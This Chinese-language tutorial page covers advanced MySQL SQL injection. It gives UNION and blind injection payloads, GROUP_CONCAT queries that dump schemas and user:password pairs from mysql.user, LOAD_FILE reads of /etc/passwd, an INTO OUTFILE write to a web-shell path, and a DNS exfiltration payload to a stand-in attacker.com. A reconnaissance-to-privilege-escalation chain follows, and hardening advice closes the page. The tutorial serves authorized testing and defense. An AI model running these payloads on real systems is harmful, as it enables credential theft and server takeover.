首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 數據庫知識 >  >> MySQL 資料庫 >> MySQL 綜合教學

MySQL SQL 注入進階利用:內建變數、GROUP_CONCAT 與資訊蒐集

     編輯:MySQL 綜合教學

前言

⚠️ 本文僅供安全研究、授權滲透測試與防禦加固參考,嚴禁用於非授權系統攻擊。

SQL 注入不只能提取資料,更能透過 MySQL 內建變數蒐集系統配置、版本、路徑等關鍵資訊,協助攻擊面擴大。本文系統整理注入常用內建變數、GROUP_CONCAT 高效提取技巧與實戰組合招。

一、內建變數分類與注入利用

1. 版本與編譯資訊

@@version                    -- 版本號 (如 5.7.33)
@@version_compile_os         -- 編譯 OS (如 Linux, Win64)
@@version_compile_machine    -- 架構 (如 x86_64)
@@version_comment            -- 發布版本註釋

2. 路徑與目錄 (關鍵:讀寫檔案、UDF 提權)

@@basedir                    -- MySQL 安裝基礎目錄
@@datadir                    -- 資料目錄 (含表檔案)
@@tmpdir                     -- 臨時檔案目錄
@@plugin_dir                 -- 插件目錄 (UDF 放置處)
@@log_error                  -- 錯誤日誌路徑
@@pid_file                   -- PID 檔路徑
@@socket                     -- Unix Socket 路徑

3. 安全與網路設定

@@have_ssl / @@have_openssl  -- 是否支援 SSL
@@skip_networking            -- 是否禁用 TCP/IP (ON=僅本地)
@@secure_file_priv           -- LOAD_FILE/INTO OUTFILE 限制目錄 (5.6+)
@@local_infile               -- 是否允許 LOCAL INFILE

4. 連線與資源限制

@@max_connections            -- 最大連線數
@@max_user_connections       -- 單用戶最大連線
@@max_allowed_packet         -- 封包大小限制
@@wait_timeout               -- 閒置斷線時間
@@interactive_timeout        -- 互動式閒置時間
@@thread_stack               -- 執行緒堆疊大小

5. 複寫與二進制日誌

@@log_bin                    -- 是否啟用 binlog
@@binlog_format              -- ROW/STATEMENT/MIXED
@@expire_logs_days           -- binlog 保留天數
@@sync_binlog                -- 同步頻率
@@server_id                  -- 伺服器 ID

6. 字元集與校對

@@character_set_server
@@character_set_database
@@character_set_client
@@character_set_connection
@@character_set_results
@@collation_server
@@collation_database

7. 交易隔離與 SQL 模式

@@tx_isolation               -- 隔離級別 (READ-COMMITTED 等)
@@sql_mode                   -- SQL 模式 (STRICT_TRANS_TABLES 等)
@@old_passwords              -- 是否用舊密碼雜湊

8. 狀態計數器 (SHOW STATUS 等價)

@@Connections                -- 總連線嘗試次數
@@Uptime                     -- 運行秒數
@@Max_used_connections       -- 歷史峰值連線
@@Threads_connected          -- 當前連線數
@@Questions                  -- 查詢總數
@@Slow_queries               -- 慢查詢數

二、注入語法:變數當做函數使用

-- 等價寫法
SELECT @@version;
SELECT VERSION();

-- UNION 注入範例
' UNION SELECT 1, @@version, 3, 4 -- 
' UNION SELECT 1, @@basedir, 3, 4 -- 
' UNION SELECT 1, @@datadir, 3, 4 -- 

-- 盲注布林判斷
' AND (@@version_compile_os LIKE 'Linux%') -- 
' AND (SELECT @@secure_file_priv = '') --  -- 判斷是否限制檔案操作

三、GROUP_CONCAT 高效資料提取

基本用法

-- 取得所有資料庫名 (單行顯示)
SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata;

-- 取得特定資料庫所有表名
SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = 'mydb';

-- 取得表所有欄位名
SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name = 'users';

-- 取得資料 (用戶名:密碼)
SELECT GROUP_CONCAT(CONCAT(user, ':', password)) FROM mysql.user;

關鍵參數:group_concat_max_len

-- 查看預設 (通常 1024 bytes)
SELECT @@group_concat_max_len;

-- Session 級調大 (需權限)
SET SESSION group_concat_max_len = 1000000;

-- 注入中若被截斷,嘗試
' UNION SELECT 1, (SELECT GROUP_CONCAT(...) FROM ...), 3 -- 
-- 仍受限,需配合 LIMIT 分批或其他技巧

繞過 LIMIT 限制

-- 正常 UNION 需 LIMIT 1 避免多行
' UNION SELECT 1, GROUP_CONCAT(schema_name), 3 FROM information_schema.schemata -- 

-- 無法用 LIMIT 時:GROUP_CONCAT 將多行合為一行,天然繞過
-- 配合 DISTINCT 去重
SELECT GROUP_CONCAT(DISTINCT table_name) ...

四、LOAD_FILE 與 INTO OUTFILE 檔案操作

讀取檔案 (需 FILE 權限、secure_file_priv 允許)

SELECT LOAD_FILE('/etc/passwd');
SELECT LOAD_FILE(@@datadir + '/mydb/users.frm');  -- 讀取表結構檔

寫入檔案 (需 FILE 權限、目錄可寫)

SELECT '' INTO OUTFILE '/var/www/html/shell.php';
SELECT * FROM users INTO OUTFILE '/tmp/users.txt' FIELDS TERMINATED BY ',';

DNS 外帶 (Windows、需 root、secure_file_priv 為空)

SELECT LOAD_FILE(CONCAT('\\\\', (SELECT USER()), '.attacker.com\\a.txt'));
-- 觸發 DNS 查詢,將 USER() 結果帶出
-- 需攻擊端控制 attacker.com NS 記錄,監聽 DNS 日誌

五、實戰組合招:從注入點到資訊全景圖

  1. 確認注入點與權限:SELECT USER(), CURRENT_USER(), @@version
  2. 判斷 OS 與路徑:@@version_compile_os, @@basedir, @@datadir
  3. 檢查檔案操作權限:@@secure_file_priv, @@plugin_dir
  4. 枚舉資料庫結構:GROUP_CONCAT 批次取 schema/table/column
  5. 提取高價值資料:用戶憑證、業務敏感表
  6. 嘗試檔案讀寫 / UDF 提權:視 @@plugin_dir、@@secure_file_priv 而定

六、防禦加固建議

  1. 參數化查詢 / 預處理語句:根本杜絕注入
  2. 最小權限原則:應用帳號禁止 FILE、SUPER、PROCESS、SHUTDOWN 權限
  3. 設定 secure_file_priv:my.cnf: secure_file_priv = /tmp/mysql_files 限制檔案操作目錄
  4. 禁用 LOAD_FILE/INTO OUTFILE:不需檔案操作的業務
  5. WAF/IDS 攔截:規則偵測 UNION、SLEEP、BENCHMARK、LOAD_FILE 等特徵
  6. 錯誤訊息不外露:生產環境關閉詳細錯誤回顯
  7. 定期審計:general_log、audit_log 審計異常查詢

結語

MySQL 內建變數是注入後資訊蒐集的金鑰,GROUP_CONCAT 則是高效提取的利器。防禦端應從「參數化查詢」源頭阻斷,輔以「最小權限」、「檔案操作限制」、「審計監控」纵深防禦,將注入風險降至最低。

  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved